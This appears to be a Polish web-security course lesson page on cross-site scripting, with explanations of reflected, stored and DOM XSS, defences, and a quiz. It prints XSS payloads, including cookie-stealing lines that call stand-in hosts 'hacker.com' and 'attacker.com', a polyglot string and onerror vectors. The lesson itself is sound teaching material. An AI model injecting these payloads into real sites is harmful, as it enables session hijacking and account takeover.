Repository navigation
Expand file tree
/
Copy path9.html
More file actions
292 lines (264 loc) · 14.6 KB
/
Copy path9.html
File metadata and controls
292 lines (264 loc) · 14.6 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
<!DOCTYPE html>
<html lang="pl">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<meta name="author" content="AnnaWiktoria">
<meta name="copyright" content="AnnaWiktoria">
<meta name="description" content="Interaktywny kurs bezpieczeństwa aplikacji webowych. Licencja CC BY-NC-SA.">
<meta http-equiv="Content-Security-Policy" content="default-src 'self';
style-src 'self' 'unsafe-inline' https://fonts.googleapis.com;
font-src 'self' https://fonts.gstatic.com;
script-src 'self' 'unsafe-inline';
img-src 'self' data:;">
<title>Kurs bezpieczeństwa aplikacji webowych - Lekcja 09: XSS (Cross-Site Scripting)</title>
<link rel="preconnect" href="https://fonts.googleapis.com">
<link rel="preconnect" href="https://fonts.gstatic.com" crossorigin>
<link href="https://fonts.googleapis.com/css2?family=Inter:wght@400;600&family=JetBrains+Mono:wght@400;700&display=swap" rel="stylesheet">
<link rel="stylesheet" href="style.css">
<style>
/* Akcent: Electric Cyan (Client-Side / JavaScript execution) */
:root {
--accent: #00e676;
--accent-glow: rgba(0, 230, 118, 0.3);
}
.code-js {
color: #ffff00;
}
.code-html {
color: #00e5ff;
}
</style>
</head>
<body>
<div class="container">
<header>
<h1>CROSS-SITE SCRIPTING (XSS)</h1>
<p>MODUŁ 09: <script>alert(1)</script> i kradzież tożsamości</p>
</header>
<!-- 1. DEFINICJA -->
<section>
<h2>> CZYM JEST XSS?</h2>
<p>XSS to błąd polegający na tym, że aplikacja bierze dane od użytkownika i wyświetla je na stronie
<strong>bez czyszczenia</strong>. Przeglądarka myśli, że to kod strony i go wykonuje.</p>
<div class="card">
<h3>ANATOMIA ATAKU</h3>
<p>Haker wpisuje w komentarzu:</p>
<pre><code>Cześć! <script><span class="code-js">fetch('https://hacker.com?c='+document.cookie)</span></script></code></pre>
<p><strong>Efekt:</strong> Każdy, kto wyświetli ten komentarz (np. Admin), nieświadomie wyśle swoje
ciasteczka sesyjne do hakera. To prowadzi do przejęcia konta (Account Takeover).</p>
</div>
</section>
<!-- 2. TYPY XSS -->
<section>
<h2>> TRZY TWARZE XSS</h2>
<p>Jako pentester musisz rozróżniać, jak payload trafia do ofiary.</p>
<div class="card">
<h3>1. REFLECTED XSS (Odbity)</h3>
<p>Złośliwy kod znajduje się <strong>w linku</strong> (URL). Serwer "odbija" go z powrotem do
przeglądarki.</p>
<ul>
<li><strong>Wektor:</strong> Link w mailu/SMS:
<code>site.com/search?q=<script>alert(1)</script></code></li>
<li><strong>Zasięg:</strong> Tylko osoba, która kliknie w link.</li>
<li><strong>Cel:</strong> Phishing, kradzież sesji konkretnej osoby.</li>
</ul>
</div>
<div class="card">
<h3>2. STORED XSS (Zapisany) - <span style="color:var(--danger)">NAJGROŹNIEJSZY</span></h3>
<p>Złośliwy kod zapisuje się <strong>w bazie danych</strong> (np. w treści posta, komentarza, nazwie
użytkownika).</p>
<ul>
<li><strong>Wektor:</strong> Haker dodaje komentarz na forum.</li>
<li><strong>Zasięg:</strong> KAŻDY, kto wejdzie na stronę (nawet tysiące osób).</li>
<li><strong>Cel:</strong> Masowa infekcja, robaki internetowe (Worms).</li>
</ul>
</div>
<div class="card">
<h3>3. DOM-BASED XSS</h3>
<p>Błąd jest tylko w <strong>JavaScript</strong> po stronie przeglądarki. Serwer w ogóle nie widzi
payloadu.</p>
<ul>
<li><strong>Przykład:</strong> Skrypt pobiera parametr z URL (<code>location.hash</code>) i wstawia
go do HTML przez <code>innerHTML</code>.</li>
<li><strong>Obrona:</strong> WAF (Web Application Firewall) tego nie wykryje, bo wszystko dzieje się
w przeglądarce ofiary.</li>
</ul>
</div>
</section>
<!-- 3. OBRONA -->
<section>
<h2>> OBRONA: CONTEXT IS KING</h2>
<p>Filtrowanie <code><script></code> to za mało. Wszystko zależy od tego, gdzie lądują dane.</p>
<div class="card">
<h3>MECHANIZMY OBRONNE</h3>
<ol>
<li><strong>Output Encoding (Sanityzacja):</strong> Zamiast wyświetlać <code><</code>, wyświetlaj
bezpieczne <code>&lt;</code>. Przeglądarka pokaże znaczek, ale nie wykona kodu.</li>
<li><strong>CSP (Content Security Policy):</strong> Nagłówek, który zablokuje wykonanie skryptów
inline, nawet jeśli haker je wstrzyknie. (Pamiętasz Lekcję 4?).</li>
<li><strong>HttpOnly Cookies:</strong> Nawet jeśli XSS zadziała, haker nie ukradnie sesji JS-em
(Pamiętasz Lekcję 3?).</li>
</ol>
</div>
<div class="card">
<h3>PRZYKŁADY PAYLOADÓW (Polyglots)</h3>
<p>Pentesterzy używają ciągów, które działają w wielu kontekstach:</p>
<pre><code>javascript:/*--></title></style></textarea></script><xmp><span class="code-html"><svg/onload='+/"/+/onmouseover=1/+/[*/[]/+alert(1)//'></span></code></pre>
</div>
</section>
<!-- CHECKLIST -->
<section>
<h2>CHECKLISTA / RED FLAGS</h2>
<div class="card checklist-card">
<div class="checklist-item">
<span class="check-icon">⚠</span>
<div><strong>Input wchodzi, HTML wychodzi:</strong> Jeśli wpisujesz `<b>test</b>` i
widzisz pogrubiony tekst -> XSS jest bardzo prawdopodobny.</div>
</div>
<div class="checklist-item">
<span class="check-icon">⚠</span>
<div><strong>Parametry w URL odzwierciedlane na stronie:</strong> Np. "Nie znaleziono wyników dla:
[Twój Input]". Idealne miejsce na Reflected XSS.</div>
</div>
<div class="checklist-item">
<span class="check-icon">⚠</span>
<div><strong>Używanie innerHTML w JS:</strong> W React/Vue/Angular używanie
`dangerouslySetInnerHTML` lub `v-html` to proszenie się o kłopoty.</div>
</div>
<div class="checklist-item">
<span class="check-icon">⚠</span>
<div><strong>Brak CSP:</strong> Strona bez Content-Security-Policy jest naga w obliczu XSS.</div>
</div>
</div>
</section>
<!-- QUIZ -->
<section id="quiz-section">
<h2>🎓 WERYFIKACJA WIEDZY</h2>
<div id="quiz-container"></div>
</section>
<footer>
<p style="text-align: center; margin-top: 50px; color: #555;">© 2026 Hack & Learn: Web Edition | Moduł 09</p>
</footer>
</div>
<!-- DANE DO QUIZU -->
<script>
const quizData = [
{
question: "Co jest głównym celem ataku XSS?",
options: [
"Usunięcie bazy danych.",
"Wykonanie złośliwego kodu JavaScript w przeglądarce ofiary (np. w celu kradzieży sesji).",
"Złamanie hasła na serwerze.",
"Przeciążenie łącza internetowego."
],
correct: 1,
explanation: "XSS to atak na użytkownika (Client-Side), a nie bezpośrednio na serwer. Haker używa Twojej strony, by atakować Twoich klientów."
},
{
question: "Czym różni się Stored XSS od Reflected XSS?",
options: [
"Reflected działa tylko w nocy.",
"Stored zapisuje się trwale na serwerze (np. w komentarzu) i atakuje każdego odwiedzającego. Reflected wymaga, by ofiara kliknęła w specjalnie spreparowany link.",
"Stored dotyczy plików graficznych.",
"Nie ma różnicy."
],
correct: 1,
explanation: "Stored (Persistence) jest groźniejszy, bo nie wymaga interakcji (klikania w link). Wchodzisz na stronę i jesteś zainfekowany."
},
{
type: "scenario",
question: "Znalazłeś podatność XSS. Chcesz udowodnić klientowi, że to krytyczny błąd (PoC - Proof of Concept). Jaki payload zrobi największe wrażenie (ukazując realne ryzyko)?",
options: [
"<script>alert(1)</script>",
"<h1>HACKED</h1>",
"<script>document.location='http://attacker.com/steal?cookie='+document.cookie</script>",
"<u>test</u>"
],
correct: 2,
explanation: "Alert(1) dowodzi istnienia błędu. Ale kradzież ciasteczka (Cookie Stealing) pokazuje biznesowy skutek: przejęcie konta."
},
{
question: "Jaki mechanizm przeglądarki (nagłówek) najskuteczniej ogranicza skutki XSS?",
options: [
"Access-Control-Allow-Origin",
"Content-Security-Policy (CSP)",
"X-Frame-Options",
"Strict-Transport-Security"
],
correct: 1,
explanation: "CSP działa jak Firewall w przeglądarce. Nawet jeśli haker wstrzyknie `<script>`, CSP zablokuje jego wykonanie lub wysłanie danych na obcy serwer."
},
{
type: "scenario",
question: "Programista użył funkcji 'strip_tags()', która usuwa znaczniki <script>. Czy to wystarczy?",
options: [
"Tak, bez <script> nie ma XSS.",
"Nie. Można wykonać JS w atrybutach zdarzeń, np. <img src=x onerror=alert(1)> lub w linkach <a href='javascript:alert(1)'>.",
"Tak, to najlepsza metoda.",
"Zależy od wersji PHP."
],
correct: 1,
explanation: "To klasyczny błąd. JavaScript można uruchomić na dziesiątki sposobów bez użycia tagu script (event handlers: onmouseover, onerror, onload, onclick)."
},
{
question: "Co to jest DOM-Based XSS?",
options: [
"XSS występujący w plikach PDF.",
"Atak, w którym payload nie trafia do serwera, lecz jest przetwarzany wyłącznie przez JavaScript w przeglądarce (np. pobierany z fragmentu URL po #).",
"Atak na domenę.",
"Atak na serwer DNS."
],
correct: 1,
explanation: "DOM XSS jest trudny do wykrycia przez logi serwera, bo serwer często w ogóle nie widzi złośliwego ciągu (fragment po # nie jest wysyłany do backendu)."
},
{
question: "Która flaga ciasteczka utrudnia kradzież sesji przy ataku XSS?",
options: [
"Secure",
"SameSite",
"HttpOnly",
"Domain"
],
correct: 2,
explanation: "Powtarzamy to do znudzenia, bo to ważne: HttpOnly blokuje `document.cookie`. XSS zadziała, alert wyskoczy, ale ciastka nie ukradniesz."
},
{
question: "Co to jest 'Output Encoding' (Escaping)?",
options: [
"Szyfrowanie danych w bazie.",
"Zamiana znaków specjalnych na ich bezpieczne odpowiedniki HTML (np. < na &lt;) przed wyświetleniem ich w przeglądarce.",
"Kompresja obrazków.",
"Ukrywanie kodu źródłowego."
],
correct: 1,
explanation: "To najskuteczniejsza metoda naprawy (remediacji) XSS. Dane są traktowane jako treść (tekst), a nie jako kod wykonywalny."
},
{
type: "scenario",
question: "Widzisz pole wyszukiwania, które wyświetla: 'Wyniki dla: <b>UserInpu</b>'. Jak sprawdzić czy jest podatne na XSS?",
options: [
"Wpisać bardzo długi tekst.",
"Wpisać tagi HTML, np. <u>test</u> lub <img src=x onerror=alert(1)> i sprawdzić, czy zostaną wyrenderowane przez przeglądarkę.",
"Wpisać SQL Injection.",
"Kliknąć prawym przyciskiem myszy."
],
correct: 1,
explanation: "Jeśli przeglądarka 'zrozumie' Twój HTML (pogrubi, podkreśli, albo spróbuje załadować obrazek), znaczy to, że input nie jest czyszczony."
},
{
question: "Czy XSS może być użyty do ataku CSRF?",
options: [
"Nie, to dwa różne ataki.",
"Tak. Jeśli masz XSS, możesz za pomocą JS wysłać dowolne żądanie w imieniu użytkownika, automatycznie omijając tokeny anty-CSRF (bo JS może je odczytać ze strony).",
"Tylko w Internet Explorerze.",
"Tylko jeśli strona używa Flash."
],
correct: 1,
explanation: "XSS to 'król'. Jeśli masz XSS, masz też CSRF, masz dane, masz sesję. XSS pozwala wykonać każdą akcję, którą może wykonać użytkownik."
}
];
</script>
<script src="quiz.js"></script>
</body>
</html>